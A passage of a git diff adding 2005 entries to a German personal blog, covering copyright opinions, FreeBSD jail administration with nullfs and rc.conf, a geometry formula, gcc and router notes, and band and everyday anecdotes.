Nerds projezieren ihre tumbe Welt- und naive Gerechtigkeitssicht auf die Musikindustrie "jeder wuerde +doch natuerlich freiwillig bei Konsum eines Kunstwerks dem Kuenstler Geld zukommen lassen, das Problem ist nur, dass es nicht geht". Die freiwillige Mitarbeit an +freier Software wird zur Verpflichtung an alle ausgelegt, den selben Altruismus an den Tag zu legen. + +Dass die Schranke der Privatkopie eine Anerkennung der Tatsache ist, dass eh alle kopieren und man im Ausgleich auf Kopiermedien Gebuehren erhebt, wird immer +wieder unzutreffend in "das Gesetz gibt jedem das Recht, Kopien zu erstellen" umgedeutet. Wenn man halt nicht kopieren kann, weil der Hersteller das auf +technischem Wege verhindert, fuehrt das auch dazu, dass man kein Kopiermedium einsaut. Passt irgendwie schon. Man muss die CD ja nicht kaufen. + +Meines Erachtens geht es Kuenstlern zur Zeit so gut, wie nie in der Geschichte zuvor. Brotlose Kunst bedeutete ueber Jahrhunderte genau das: man ist im Zweifel +verhungert. Heute sind Musiker auf der einen (zugegeben zahlenmaessig verschwindend geringen, aufmerksamkeitsoekonomisch aber sehr viel Raum einnehmenden) Seite +Weltstars mit unverschaemten Einkommen. + +Wenn die das in der Marktwirtschaft so hinbekommen, ist das total legitim. Die verkaufen aber nicht ihre Songs. Die verkaufen ein mehr oder minder muehsam +konstruiertes Image, was unter anderem beim Musikverkaufen hilft. Wer andere Leute dazu bringt, ihm freiwillig rauhe Menge Kohle in den Rachen zu werfen, hat es +verdient. So funktioniert das mit der Werbung. Und wenn man keine Songs als Daten mehr verkaufen kann, aber trotzdem stinkend reich bleiben will, muss man sich +halt etwas anderes einfallen lassen. Die Gesellschaft kann nicht dazu da sein, den dekadenten Status quo zu erhalten. + +Auf der anderen Seite leistet sich unsere Gesellschaft laengst eine Kulturflatrate. Wir leisten uns, dass niemand verhungern muss, der kein Nuetzling in +marktwirtschaftlicher Sicht ist. Man kann gut und gerne 10 Jahre lang an seine Mal-, Gesangs-, Bildhauer-, oder sonstigen kulturellen Skills arbeiten, kostenlos +lernen bis der Arzt kommt (OT: was gerne uebersehen wird: man kann auch ohne Studiengebuehren an der Uni etwas lernen, man bekommt halt nur keinen Abschluss +dafuer) und wird trotzdem gefuettert. Wenn man im Kapitalismus nicht mitspielen moechte, hat man daher gerade die Moeglichkeit dazu, wenn man es jedoch will, +muss man halt die Spielregeln befolgen und etwas "Nuetzliches" tun. + +Ein Weg, mit dem Problem "Bezahlen von Musikern" umzugehen, koennte sein, dass man zum Dienstleistungsgedanken zurueckkehrt: solange es keine Neurorecordings +gibt, ist ein Livekonzert mit vielen gleichtickenden Leuten um einen herum um Groessenordnungen geiler, als der Konsum im Zimmerchen auf Anlage, allein. Songs +auf Platte oder im Netz koennten/sollten Werbung fuer die kostenpflichtige Teilnahme am Konzert sein. Oder Werbung fuer die Marke Kuenstler, der sich dann in +Waschmittelspots Schmerzensgeld fuer die Entwuerdigungen verdienen kann, oder anderen Leuten fuer Geld die Erlaubnis gibt, Flauschpueppchen oder Poster mit +seinem Conterfait zu verticken. + +Natuerlich funktioniert das fuer unansehnliche, ausgewiesene Studiomusiker nicht, die einzig ueber den Verkauf der Verwertungsrechte fuer die Stuecke an sich +angewiesen sind. Um aber auf die geschichtlichen Parallelen zurueckzukommen: dann muss man sich halt einen Maezen suchen, oder wie es Funny van Dannen so +treffend ausdrueckte: ["es muessen ja nicht alle gluecklich sein"](http://funny-van-dannen.de/lied/uruguay/08-ice.pdf). diff --git a/blog/2005/Heldenblogger.md b/blog/2005/Heldenblogger.md new file mode 100644 index 0000000..4fa6d60 --- /dev/null +++ b/blog/2005/Heldenblogger.md @@ -0,0 +1,6 @@ + + +Und da ich ja nun bei wirklich jeder google-Bombe mitmache: [Planetopia Lügt](http://blog.schockwellenreiter.de/7793). diff --git a/blog/2005/KnastHorst.md b/blog/2005/KnastHorst.md new file mode 100644 index 0000000..af9e571 --- /dev/null +++ b/blog/2005/KnastHorst.md @@ -0,0 +1,128 @@ + + +Auf meinem gute-Freunde-Shell-Server, auf dem auch diese edle Seite liegt, hatte ich bisher ein +FreeBSD4.(5-11) installiert. In diesem wurden 14 sogenannte Jails gefahren. Das ist der +FreeBSD-Ansatz, chroot soweit zu treiben, damit in virtuellen FreeBSD-Systemen root-Rechte +vergeben zu koennen, ohne damit die Integritaet des Hostsystems zu beeintraechtigen. + +Einige jails werden als shared service von $kumpel und mir betrieben, so ein mail-, ein www- +und ein nameserver, andere in die Hand von Freunden gedrueckt. Da der Server wegen .. sagen +wir, Rechenschwaechen .. des derzeitigen Hosters dort nicht mehr stehen bleiben kann und somit +ein Umzug auf andere Hardware notwendig wird, werde ich die Gelegenheit nutzen, auf ein +FreeBSD5 oder 6 zu wechseln. + +Das bringt mehrere Vorteile mit sich: a) sind nuetzliche Tools zur Jailverwaltung, naemlich jls +und jexec und 'kill -j' hinzugekommen, b) hat es das script `/etc/rc.d/jail` und +macht jails laufen lassen zum Spass und c) sind da viele nette Features im Kernel, wie z.B. KSE, +die das OS snappier[tm] machen sollten. + +Bisher musste ich alle jails muehsam von einem selbstgehackten Scripteset kontrollieren lassen. +Um nicht fuer jedes jail ein komplettes Betriebssystem auf der Platte herumliegen zu haben +(kostet viel Platz), wird die Welt aufgeteilt in ein zentral gewartetes basejail (`/bin +/sbin /usr/bin /usr/include /usr/lib /usr/libexec /usr/sbin /usr/src /usr/share /usr/ports +/usr/src`) und die zweite, vom User anpassbare Haelfte, das "newjail" (kostet wenig Platz, +um die 8MB). Ersteres wird nun readonly in jedes Jail (nach `/usr/jails/*/basejail`) +gemounted. Softlinks lassen dann z.B. `/usr/bin` nach `/basejail/usr/bin` +zeigen. (`man jail` zeigt die Schritte, die man braucht, sich ein basejail zu +basteln, ein lokales cvs-repository hilft). Soweit, so gut. + +Nun gab es dieses kleine Problem: fuer das simple loopback-Mounten eines Verzeichnisses hat +sich FreeBSD mount_nullfs ausgedacht. Doch ein kleiner Blick in die man-page macht einem den +Mut, den man braucht, seinen Mailserver darauf aufzubauen: "THIS FILE SYSTEM TYPE IS NOT +YET FULLY SUPPORTED (READ: IT DOESN'T WORK) AND USING IT MAY, IN FACT, DESTROY DATA ON YOUR SYSTEM. +USE AT YOUR OWN RISK. BEWARE OF DOG. SLIPPERY WHEN WET." Meine ersten Versuche vor ein +paar Jahren ergaben genau dies: crashes und komische Effekte im Filesystem. Spaetere Experimente von +Freunden erbrachten zwar keine Crashes mehr, dafuer aber ploetzliche hohe CPU-Load. Aus diesem +Grund werkelt nun zur Zeit auf dem Server noch ein nfs-server, der fuer localhost das basejail +exportiert und lauter mount_nfs, die es wieder mounten. (Dazu muss man erstmal [portmap +patchen](http://lists.freebsd.org/pipermail/freebsd-bugs/2004-November/010320.html)) Mit so einem Setup kann man nicht prahlen gehen :( + +Neulich entdeckte ich jedoch [die +Todoliste fuer die 6.0er Release](http://www.freebsd.org/releases/6.0R/todo.html), in der angedeutet wird, dass "Nullfs (and perhaps +other filesystems) use an absurdly small hash size that causes significant performance +penalties." Der Source (`/usr/src/sys/fs/nullfs/null_subr.c`) verriet mir +auch `#define NNULLNODECACHE 16`. Also, wenn die zu kleinen Hashs deren einziges +Problem sind... Ich habe aus der 16 eine 65536 gemacht, neuen Kernel gebaut und habe nun das +basejail endlich per nullfs gemounted. (Zur Zeit laufen 12 Jails auf einer Testinstallation, die +dann auf den neuen Server uebernommen wird.) + +Die Features des jail-scripts aus der `/etc/rc.d` sind zwar grossartig, aber echt +unglaublich wirklich voll total mies dokumentiert. Die jails, die das System starten soll, +traegt man space-separiert in der `/etc/rc.conf` in `jail_list="JAILNAME1 +JAILNAME2..."` ein. Dann macht man noch `jail_enable="YES"` an und beim Startup +werden alle jails hochgefahren. Die Parameter dafuer traegt man in Variablen wie zum Beispiel +`jail_JAILNAME_ip="10.1.1.200"` ein (nicht vergessen, der Netzwerkkarte auch die +aliase fuer alle IPs zu geben). Punkte sind in den Variablen ungern gesehn, bei mir heisst das +dann immer erdgeist_org, also spaeter auch +`jail_erdgeist_org_option_enable="YES"`. + +Dann ist cool, dass jedes jail eine eigene fstab mitbekommt. Wer +`jail_JAILNAME_mount_enable="YES"` anhat, kann beim jail Starten +`/etc/fstab.JAILNAME` mounten lassen. Bei mir steht da naetuerlich +`"/usr/jails/basejail /usr/jails/JAILNAME/basejail nullfs ro 0 0"`. Fertig ist der +Lack. Wer `jail_JAILNAME_devfs_enable="YES"` (immer gern genommen mit +`jail_JAILNAME_devfs_ruleset="devfsrules_jail"`, wegen der Sicherheit, wissenschon) +anhat, findet auch gleich ein /dev im jail gemounted vor, aehnlich verhaelt es sich mit +`jail_JAILNAME_procfs_enable="YES"` und +`jail_JAILNAME_fdescfs_enable="YES"`. + +Das Verwalten der jails ist nun simpel, eigentlich haette das gleich vom rc.d-script mit +erledigt werden koennen: Man legt sich ein `/etc/jails/` oder so an, in das man die +config-Bloecke fuer jeweils ein jail zusammenfasst, also z.B. +`/etc/jails/erdgeist_org` und schreibt in seine `/etc/rc.conf` +`jail_list=`ls /etc/jails/``, und included danach `. /etc/jails/*`. + +Beim Erzeugen eines neuen jails kopiert man aus dem "newjail" mittels `mkdir +/usr/jails/$JAILNAME && cd /usr/jails/newjail && find * | cpio -p -d -v +/usr/jails/JAILNAME` das Skelett. `/etc/resolv.conf`, +`/etc/rc.conf`, `/etc/passwd` und +`/home/admin/.ssh/authorized_keys` im newail gleich zu bevoelkern macht sich auch +immer gut, sonst vergisst man das. (Auch wichtig fuer den sshd: nicht vergessen, dass man im +Hostsystem alle Services nur auf die IP des Hostsystems binden lassen sollte, sonst kann man das +im Jail nicht mehr.) Danach erzeugt man (beispielsweise aus einer template-config) das File, was +nach `/etc/jails/JAILNAME` soll. Ausserdem legt man die +`/etc/fstab.JAILNAME` an. Done. + +Da wir `/usr/ports` mit dem basejail readonly gemounted haben (dadurch reicht es, +einmal jede Nacht ein `cvsup` auf die ports im Hostsystem zu machen), muessen wir den +jails sagen, dass sie die ports nicht in `/usr/ports/X/Y/work` sondern irgendwo +anders bauen sollen, wo man schreiben darf, die distfiles koennen natuerlich auch nicht nach +`/usr/ports/distfiles`. Das macht man in der `/etc/make.conf`. Bei mir +steht da `WRKDIRPREFIX=/var/ports` und `DISTDIR=/var/ports/distfiles`. Das +schreibt man am besten gleich ins newjail. + +Diese Vorgehensweise steht eigentlich auch dem Hostsystem gut. Man kann naemlich spielen alle +work-directories und distfiles an einem zentralen Punkt loeschen: `rm -rf +/var/ports/*` statt rekursivem `make distclean` oder `rm -rf +*/*/work/` in `/usr/ports`. Eigentlich koennte man die distfiles zwischen den +jails noch in einem unionfs teilen, aber erstens liest sich die Doku zu mount_unionfs NOCH +entmutigender, als die von mount_nullfs und zweitens muesste fuer den Fall, dass korrupte +distfiles rumliegen, immer ein hostsystem-Admin putzen kommen. + +Nun zum wirklich Betrieb der jails: Einzelne jails kann man mit `sudo sh /etc/rc.d/jail +start JAILNAME` anstossen, die `jail_list` wird genommen, wenn man keinen +jail-Namen angibt. Alle laufenden jails, inklusive ihrer jail-id kann man sich mit +`jls` angucken. Nachtraeglich tasks an ein jail haengen geht mit `sudo jexec +jail-id cmd`, wobei man da meist `/bin/csh` nimmt. Mit `sudo jexec jail-id +ps auxw` kann man sich dann die laufenden Programme im jail angucken. Beim Traversieren der +jail-Verzeichnisse (bei mir in /usr/jails) aus dem Hostsystem sollte man DRINGEND auf softlinks +aufpassen. Gerne verpeilt werden `/usr/jails/JAILNAME/home -> /usr/home`, was einem +Aerger mit den Homeverzeichnissen im Hostsystem einbringen kann und natuerlich +`/usr/jails/JAILNAME/usr/bin -> /basejail/usr/bin`. Jail anhalten geht mit `sudo +sh /etc/rc.d/jail stop JAILNAME`. + +Zu guter letzt noch ein paar Fallstricke: im jail geht ping nicht. Das liegt daran, dass man +keine raw sockets aufmachen darf, da man in diese natuerlich jede IP als Source IP eintragen +koennte und damit das Sicherheitskonzept der jails umginge. ping ist aber sehr nuetzlich. Das +script `/usr/local/bin/jailping` bestehend aus `finger $*@HOSTSYSTEM` +gepaart mit einem fingerd, der `read input; (ping ${input%^M} 2>&1)` fuer +Verbindungen aus den jails erlaubt, schafft Abhilfe. Am besten noch `alias +ping='/usr/local/bin/jailping'`. Done. + +Hostname im jail aendern verbieten mit `jail_set_hostname_allow="NO"` in der +`/etc/rc.conf`. Ein Sicherheitsfeature, was gern abgeschaltet wird (auch in meinem +jail-Server, wegen der Datenbanken, die es brauchen), ist sysvipc. +`jail_sysvipc_allow` und postgresql geht. diff --git a/blog/2005/Lot.md b/blog/2005/Lot.md new file mode 100644 index 0000000..e9b3d25 --- /dev/null +++ b/blog/2005/Lot.md @@ -0,0 +1,27 @@ + + +Ein weiterer Eintrag in mein Notizblog, weil ich keinen Bock habe, das immer wieder neu von Hand auf +Papier auszurechnen: fuer eine gegebene Strecke S(x0,y0)(x1,y1) und den Punkt P(xp,yp) berechnet man +den Fusspunkt F des Lots von P auf S mit der folgenden Formel: +
+q = (xp-x0)*(y1-y0)-(yp-y0)*(x1-x0)
+r = (y1-y0)*(y1-y0)+(x1-x0)*(x1-x0)
+x = xp+q*(y0-y1)/r
+y = yp+q*(x1-x0)/r
+
+Wenn man r um C vervielfacht, erhaelt man einen Punkt auf der Strecke P-F im Verhaeltnis 1:C. + +#### Update: + +Dasselbe funktioniert auch mit (x0,y0) als Stuetzpunkt und q als Koeffizient. Damit kann man ziemlich leicht +sehen, wo (und ob ueberhaupt) auf der Strecke S der Fusspunkt des Lots auftrifft. In diesem Falle ist dann q/r im +Interval [0,0..1,0]. Die Formeln: +
+q = (x1-x0)*(xp-x0)+(y1-y0)*(yp-y0)
+r = (y1-y0)*(y1-y0)+(x1-x0)*(x1-x0)
+x = x0+q*(x1-x0)/r
+y = y0+q*(y1-y0)/r
+
diff --git a/blog/2005/Messlatte.md b/blog/2005/Messlatte.md new file mode 100644 index 0000000..3354cb5 --- /dev/null +++ b/blog/2005/Messlatte.md @@ -0,0 +1,24 @@ + + +Ich muss mich an dieser Stelle [mal wieder](http://www.zufallslink.com/) [outen](http://www.imdb.com/title/tt0097095/). Ich bin einfach noch nicht in der Blogosphere angekommen. + +[Tom](http://tomster.org/) wuerde jetzt diesen Eintrag in die [Meta-Kategorie](http://www.elfengrau.de/content/metaebene.htm) Blogging einsortieren. Aber ich bin anders. Ich schreibe dieses blog weiter von Hand, mit meinem [treuen Lieblingseditor](http://www.dentaku-museum.com/calc/calculator/small/pico/parts.html) und nicht dem [neumodischen Schnickschnack](http://plone.org/), oder [gar diesem Warmduschertool](http://wordpress.org/), welches ich [fuer Freunde](http://bolli.kiffer.de/) schon aufsetzen durfte und welches sich durch die [unselige Kombination](http://www.outofservice.com/country/) von [Pest](http://www.google.com/search?hl=en&lr=&safe=off&q=php+exploit&btnG=Search) und [Cholera](http://www.google.com/search?hl=en&lr=&safe=off&q=mysql+exploit&btnG=Search) auszeichnet. + +Genausowenig habe ich bisher eine [klare Linie](http://lists.ffii.org/pipermail/logsys-de/2001-April/002023.html) erkennen lassen wollen, was ich denn eigentlich hier will. Nicht, dass man bei mir [spannende Geschichten, die Weltgeschichte betreffend](http://frank.geekheim.de/), lesen koennte, oder [feingeistige Auseinandersetzungen](http://sushee.geekheim.de/) mit Feminismus, Aktionismus, [ BSD-ismus](http://outpost.h3q.com/blog/), oder, wie bei Tom, Buzzwordpropaganda. Ich habe keine Nische gefunden, wegen derer ich jemandem erklaeren koennte, mein Blog lesen zu muessen. Und [eigentlich](https://erdgeist.org/stats/blog/#2003_10_22_23_05_Metageschwafel) ist das auch gar nicht so schlecht. Ehrlich gesagt lebe ich in einer Schizophrenie, gar nicht wahrhaben zu wollen, dass Leute wirklich lesen, was ich hier zusammenkopiere. Und jedes Mal, wenn mich [Leute](http://www.google.com/search?q=auchblog) drauf ansprechen, broeckelt [dieser Selbstbetrug](http://www.orwelltoday.com/doublethink.shtml). + +Ich [verweigere](http://www.bamm.de/geloebnix/) mich diesem [Blinkiblitzi-Clickibunti-Bescheidsagmechanismen](http://www.amazon.co.uk/exec/obidos/ASIN/0596003838/202-3237439-3427801). Der Cryx hat mich zwar [syndiziert](http://outpost.h3q.com/erdgeist.rss), aber ich bin eher der Typ, der raus in den Regen zum Briefkasten tappt und sich freut, wenn ihm wer was geschrieben hat. Oder, da ich nicht mal die ueblichen Verdaechtigen Blog-Seiten gebookmarked habe und die URLs der Blogs brav per Hand eintipper, eher noch die Oma, die sich zu ihrem Schwarz-Weiss-Fernseher ohne Fernbedienung aus dem Sessel durchs halbe Zimmer hievt, um zu schauen, ob vielleicht [auf MDR](http://home.arcor.de/webcenter/achim/) was Spannendes kommt. + +Ich habe natuerlich auch mal mit professionellen [Low-End-Blogging-Tools](http://www.blosxom.com/) rumgespielt. Aber erstens zerschoesse ein Wechsel meine Perma-Links (auch wenn wohl eh keiner meine Eintraege verlinkt hat), zweitens wuerde ich durch solche Tools nichts gewinnen. Eine Comment-Funktion habe ich seit Jahren ueber smtp, und [oeffentliche Kommentare](http://www.saveenterprise.com/forum2/lofiversion/index.php/t2801.html) sind mir zu doof. Und im Webeditor Texte zu bearbeiten, fuehrt bei mir regelmaessig zu unvorsichtig getriggerten Page-Reloads mit komplettem Verlieren der Eintraege. Da lobe ich mir die screen+editor Kombination auf dem Server. + +Aber genug alter Mann gespielt. Ich habe 3 Filmempfehlungen: [Kontroll](http://www.kontrollfilm.hu/), [Verschwoerung im Berlin-Express](http://www.filmspiegel.de/filme/verschwoerungimberlin-express/verschwoerungimberlin-express_1.php) (beide bei ordentlich "Filmtheater am Friedrichshain-Sneak Preview"-Mischgetraenk und Popcorn genossen), sowie [Weltmarktfuehrer](http://www.weltmarktfuehrer-derfilm.de/fs_index.html), ein Film wie suess-saure Eier mit vielen leider nur allzuvertrauten Szenen unfreiwillig komischer Provinzmilliardaere. + +Mein Roller [stand ueber Winter](http://www.ibofox.de/html/jokers/Bilderb%25FCcher+ab+3/Warum+der+B%25E4r+nicht+schlafen+kann.htm). Er ist einfach so waehrend der Fahrt ausgegangen und sprang danach nicht wieder an. Nach mehreren Versuchen, Fahrzeuge zum Zur-Werkstatt-Hieven des Gefaehrts zu organisieren, habe ich beschlossen, eine [neue Werkstatt](http://www.piaggio-berlin.de/laden/friedrichshain.htm) auszuprobiern, zu der ich mein Moped hinschieben kann. Die Rechnung war einigermassen saftig: Bremsbelaege, Zuendkerze, anderthalb Stunden Arbeitszeit des Technikers, 115EUR. Gut, muss man verkraften, geht ja auch gern mal was kaputt. Der Grund dafuer, dass der Roller nicht fuhr, war aber wohl eine "schlecht zu erreichende Unterdruckleitung" und das Suchen dieses Fehlers haette wohl so lange gedauert. Bloed nur, dass ich gleich am naechsten Tag wieder stand. Selbes Problem: beim Fahren Roller ausgegangen, springt nicht mehr an. Auf meinen empoerten Anruf beim Roller-Scholz schickt mir Chefchen nen Mechanikerazubi, der mir kurz den offensichtlich rumbammelnden Unterdruckschlauch zeigt, wieder raufsteckt, mir empfiehlt, den doch vielleicht mal in der Werkstatt austauschen zu lassen und wieder wegfaehrt. Sauladen. Nicht mehr dahin! + +FYI: dieser Eintrag dauerte 01:51h. + +Nachtrag: Notizen... Unter MacOSX gibt es das Problem, dass man alle moeglichen Expose-Actions auf Tasten legen kann. Nur leider nicht "Lock-Screen". Hot Corners sind keine Option, zu oft komme ich mit der Mouse durch Zufall in den vier Ecken vorbei. Zum Glueck gibt es das eh coole Tool [ Quicksilver](http://quicksilver.blacktree.com/) (das Apple sowieso mal ins Betriebssystem integrieren muss) .. geht es eigentlich noch jemandem so, dass er verzweifelt vor einem FreeBSD oder Windows auf F9 rumkloppt, um die Fenster verschwinden zu lassen? .. aeh.. wo war ich? Richtig Quicksilver... in den [Extra Scripts](http://quicksilver.blacktree.com/plugins.php) ist auch "Lock Screen" dabei, welches man sich nun auf eine geneigte Taste (F12 erschien mir sinnvoll) mappen kann. + +Zweitens haben einige Betriebssysteme die unangenehme Eigenschaft entwickelt, per default termcaps auszuliefern, die beim Beenden von pagern oder vi oder aehnlichem den alten Inhalt/Zustand des Terminals wieder herstellen. Bloede Eigenart! Und schwerlich abzustellen. Hier ein paar links: [von less](http://www.greenwoodsoftware.com/less/#tite), [fuer MacOSX](http://www.macosxhints.com/article.php?story=2004122710403854) und [die terminfo man page](http://unixhelp.ed.ac.uk/CGI/man-cgi?terminfo+5). diff --git a/blog/2005/Nerd_Fame.md b/blog/2005/Nerd_Fame.md new file mode 100644 index 0000000..62c47e1 --- /dev/null +++ b/blog/2005/Nerd_Fame.md @@ -0,0 +1,10 @@ + + +Endlich habe ich es geschafft, meine Fussstapfen in meinem Lieblings-OS zu hinterlassen: ein eigener [FreeBSD-Port](http://www.freebsd.org/cgi/ports.cgi?query=ezjail&stype=all). Und nicht nur ein Port irgendeines Programms, +nein, in `/usr/ports/sysutils/ezjail` gibt es jetzt ein Script-Set, welches ich aus den Erfahrungen von [damals](https://erdgeist.org/stats/blog/#2005_08_05_03_03_KnastHorst) gebaut habe. Mit einer [ansprechenden Projektseite](http://erdgeist.org/arts/software/ezjail) und [den ersten +Verlinkungen](http://www.fkimura.com/diary/?date=20051017) aus obskuren japanischen Blogs. Nun muss ich meine Projektseite schnell fertig hacken, bevor der grosse Nerdansturm clickt ;) + +UPDATE: Der Japaner fand wohl weniger das Projekt spannend, als meine License, er schreibt von "ezjail als seltene Beerware"... naja, wenigstens etwas diff --git a/blog/2005/Notizblog.md b/blog/2005/Notizblog.md new file mode 100644 index 0000000..fd87869 --- /dev/null +++ b/blog/2005/Notizblog.md @@ -0,0 +1,27 @@ + + +Ich kann mir Dinge so schwer merken. Und ich habe es bis heute nicht geschafft, mir eine zentrale Instanz anzugewoehnen, +an der ich all die Dinge hintue, an die ich eigentlich denken moechte. Also Termine (Geburtstage und sowas wie +Verabredungen oder Deadlines), Kontaktinformationen, ne Todoliste, Fakten, die ich rausgefunden habe und total nuetzlich +finde und bloss nicht vergessen moechte, Accountinformationen fuer so Bewag und Online-Banking und Konsorten, wem ich +wieviel Kohle geliehen habe und bei wem ich in der Kreide stehe. + +Nunja, mein Communicator hat mir schon viel von der Arbeit abgenommen, ich hab da, in einem Anfall von zuviel Zeit, eine +Todo-Liste angefangen. Weil die sich aber nicht zu Wort meldet, und Zeilen im Textfile sich nicht automatisch +umpriorisieren koennen, aus Todos nicht von Zauberhand Termine werden und von-hand-formatieren eigentlich doof ist, wird +es nur stiefmuetterlich behandelt. Zu konservierendes Wissen moechte ich in den doch eher fragilen Klappplasterechner +auch nicht tun. Und bevor ich es in irgendeins der 30 Wikis tue, auf denen ich inzwischen Accounts habe und bei denen ich +ganz sicher nichts wiederfinden werden, habe ich feierlich beschlossen, meinem Tagebuch hier (und damit auch dem +Web-Archiv) Dinge zu fuettern, die ich spaeter bestimmt mal wieder brauche. Und vielleicht interessiert sich der eine +oder andere auch dafuer. + +Als erstes nun die magische Kommandozeile, mit der man den gcc dazu veranlasst, alle preprocessor defines auszuspucken, +die schon ohne eigenes Zutun mitgebracht werden: 'touch x.c; gcc -E -dD x.c; rm x.c' + +Und dann noch: was bei arithmetischen Shifts diskussionswuerdig ist, ist die Tatsache, dass negative Werte nach rechts +geshiftet minimal -1 ergeben, positive Werte jedoch 0. Ich will die Diskussion hier aussen vor lassen. Merken wollte ich +mir: "movs rx, rx, asr #shift \n\t adc rx, rx, #0". Das rundet und sorgt dafuer, dass aus der -1 beim rechts shiften eine +null wird. diff --git a/blog/2005/Offizieller_Sommer.md b/blog/2005/Offizieller_Sommer.md new file mode 100644 index 0000000..9fbdf2a --- /dev/null +++ b/blog/2005/Offizieller_Sommer.md @@ -0,0 +1,18 @@ + + +Ich hab ja nun schon foermlich darauf gewartet, wann denn mal der Stoff ausgeht und ich uebers Wetter bloggen muss. Hier ist es nun also: es ist Sommer: man kann +nachts ohne frieren mit kurzer Hose Moped fahren, man muss sich extra zwingen, seinen Mitmenschen in die _Augen_ zu gucken und Fruehstuecken in der Knalllesonne +erinnert an die schoensten Urlaube. Hier sei mal das 3-Euro Fruehstueck-Brunch-Abendbrot-Angebot in der Boese Buben Bar in der Marienstrasse lobend erwaehnt. +Sonnengarantie dank Suedseite. + +Und vollends Seele baumeln lassen geht [mit sonem Eis](http://www.dooyoo.de/bars-cafes-kneipen-national/die-kleine-eiszeit/) auf einem +[![](http://erdgeist.org/stats/blog/pics/EinEis.jpg)](https://erdgeist.org/stats/blog/pics/EinEis.jpg) gemuetlichen Balkon. + +In der dazugehoerigen Wohnung lernte ich dann auch den folgenden Fakt fuer das Notizblog: wenn jemand einen T-Online-Account auf einem nicht-Telekom-Router +einstellen moechte, geht das so: man nehme alle Zahlen, die auf dem Username/Passwort-Zettel von der Telekom stehen (ausser das Passwort natuerlich), haenge sie +(von oben nach unten) aneinander, haenge ein @t-online.de dran und los gehts. (Im Idealfalle sollte dies die Zugangskennung, die T-Online-Nutzerkennung und die +Mehrere-Benutzer-ID, normal 0001, sein). Weil ichs nicht aufgeschrieben hab, und natuerlich vor dem Netz einrichten auch kein Netz, musste ich dann mal ne +Bluetoothverbindung bemuehen und ueber 9600 (gute Alte Zeit) googlen. diff --git a/blog/2005/One_more_thing.md b/blog/2005/One_more_thing.md new file mode 100644 index 0000000..9332d50 --- /dev/null +++ b/blog/2005/One_more_thing.md @@ -0,0 +1,8 @@ + + +Als der Cryx verzweifelt versuchte, alle "mal Kaffee trinken gehen"-Zusagen in seinem iCal unterzubringen, zusammen mit Arbeit, Veranstaltungen und Urlaub, kam +mir _DIE_ grandiose Idee, wie Apple das Produkt massgeblich verbessern koennte: [![](http://erdgeist.org/stats/blog/pics/iCalShuffle.jpg)](https://erdgeist.org/stats/blog/pics/iCalShuffle.jpg) iCalShuffle. Ueber die genaue Implementation will +ich hier nicht zuviele Worte verlieren, macht viel zu viel Spass, sich das selber auszudenken. diff --git a/blog/2005/Quartalsblogger.md b/blog/2005/Quartalsblogger.md new file mode 100644 index 0000000..7e6ce97 --- /dev/null +++ b/blog/2005/Quartalsblogger.md @@ -0,0 +1,47 @@ + + +[Fruehling rockt!](http://www.divers-travel-guide.com/Oben_Ohne.htm) Die [Grillsaison](http://www.rtl.de/ratgeber/haus_856596.php) hat +wieder begonnen, das [neue +Semester](http://www.dshs-koeln.de/pressestelle/Erstis_04_05/Erstis_WS_04_47.jpg) hat neuen Schwung in meine muede gewordenen [Gehirnzellen](http://tiger.towson.edu/users/tammer1/Deutschland.html) +gepumpt, die [Band](http://www.pumpanickle.de/) entwickelt sich langsam in Richtung etwas [Ernst](http://www.sueddeutsche.de/,tt3m1/panorama/artikel/902/50852/)zunehmendem. + +Ich habe [Funny](http://www.funny-van-dannen.de/) [live in Kiel](http://www.kiel4kiel.de/kiel4kiel/artikel7466.html) gesehen und daraufhin +das Wochenende an [Straenden der Ostsee](http://www.srilanka-tsunami-relief.com/) bei Fastsommer verbracht. Ich war sogar schon wieder einmal [Badminton](http://www.lilly-valley.ca/Facilities.htm) spielen, obwohl sich der Grossteil meiner ueblichen Gegner [schwere Hufschaeden](http://www.kruenitz1.uni-trier.de/xxx/h/kh04962.htm) zugezogen hatten. In einem [beispiellosen Kraftakt](http://www.traderguide.de/images/gewichtheber.jpg) ist zudem der [Viertelpfuender](http://www.ccc.de/updates/2005/ds86) entbunden worden. Die letzten Eintraege hier im Blog zeugen aber auch von interessanten [Taetigkeiten](http://www.pfeil-bogen.de/) an beruflicher Front. Und ich bekomme an [seinem Geburtstag](http://outpost.h3q.com/blog/) ["Titten"-DSL](http://www.alice-dsl.de/) nach hause. + +Die Meldungen im Einzelnen: Morgen bestreitet meine Band mit mir unser erstes Konzert vor komplett fremden Publikum. Wir werden in [Neuruppin als Vorband](http://www.inforiot.de/termine.php) versuchen, (zumindest fuer uns) [soviel Spass wie moeglich](http://www.tsv2000rothenburg.de/Project/Rueckblick/Schulband.jpg) herauszuschlagen. Ich bin nun auch schon [amtlich aufgeregt](http://www.rxlist.com/cgi/generic/diazepam.htm), zu aufgeregt, um mich gerade noch ernsthaft aufs +Programmieren zu konzentrieren. + +Letztes Wochenende haben wir durch diverse glueckliche Schicksalsfuegungen einem Filmstudenten beim Dreh eines Videoclips aushelfen duerfen, dem die +eigentlich dafuer vorgesehene Band abgesprungen war. Ueber die Ergebnisse werde ich mich bestimmt noch elaborieren. + +Das erste Konzert im Knaack im Zuge des Emergenza-Festivals war grandios. Nicht nur, dass ich trotz genau ALLER technischer Probleme, die einem +Gitarristen so widerfahren koennen, in ... nennen wir es hoeflich "stoischer Ruhe" meinen "Gesang ja eigentlich auf den Basssoli" (Zitat +Konkurrenzband) weitergefuehrt, den Bonbonregen zum Geburtstagslied weder adaequat angekuendigt noch sinnvoll um die Buehnenscheinwerfer herum ins +Publikum gelenkt hab. Nein! Wir mussten uns trotz eines umwerfenden Fanblocks mit dem zweiten Platz begnuegen. Trotzdem hat es eine Mordslaune +gemacht und eigentlich mag ich dieses Gefuehl gar nicht missen. Mal sehen, wie morgen wird. Dank an meine Muse und dank auch an die Chefin des +Fanclubs :) Inzwischen gibt es auch [offizielle Bekleidung](http://www.spreadshirt.de/shop.php?sid=57069) fuer den eingefleischten Anhaenger. + +[Adlershof.](http://www.adlershof.de) Synonym fuer studiumsfreundliche Campusgestaltung. Und fuer das Mass eines Halbtagsjobs +wieder Domizil an vier Tagen die Woche ab frueh um neun. Oh feierliche liebgewonnene Riten, ewiger Pathos der Erstis, ewiger Zynismus der +Langzeitstudenten. Koestliche Mensaverpflegung, aufregende Konnektivitaet des oeffentlichen Personennahverkehrs. Wie hab ich dies alles vermisste. +Inzwischen darf ich wieder Doktoren im Eifer, den ich noch aus meiner Jugend kenne, dabei zuhoeren, wie sie ihre liebgewonnene +Programmiersprache gegen eine andere verteidigen und ich 